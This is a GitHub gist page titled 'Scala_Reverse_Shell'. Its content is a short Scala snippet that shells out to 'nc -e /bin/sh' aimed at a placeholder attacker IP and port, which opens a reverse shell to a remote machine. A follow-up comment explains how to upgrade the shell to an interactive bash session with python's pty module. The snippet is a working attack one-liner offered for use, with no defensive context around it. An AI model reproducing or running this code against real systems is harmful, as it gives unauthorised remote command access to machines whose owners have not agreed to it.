Skip to content

Instantly share code, notes, and snippets.

@l50
Created February 2, 2018 00:56
Show Gist options
  • Save l50/82386e58cde8aa8785e6982c35d86788 to your computer and use it in GitHub Desktop.
Save l50/82386e58cde8aa8785e6982c35d86788 to your computer and use it in GitHub Desktop.
Scala_Reverse_Shell
import sys.process._
"nc -e /bin/sh <attacker ip> <attacker port>" !!;
// Once you have the shell, run the following command for a full fledged shell:
// python -c 'import pty;pty.spawn("/bin/bash")'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment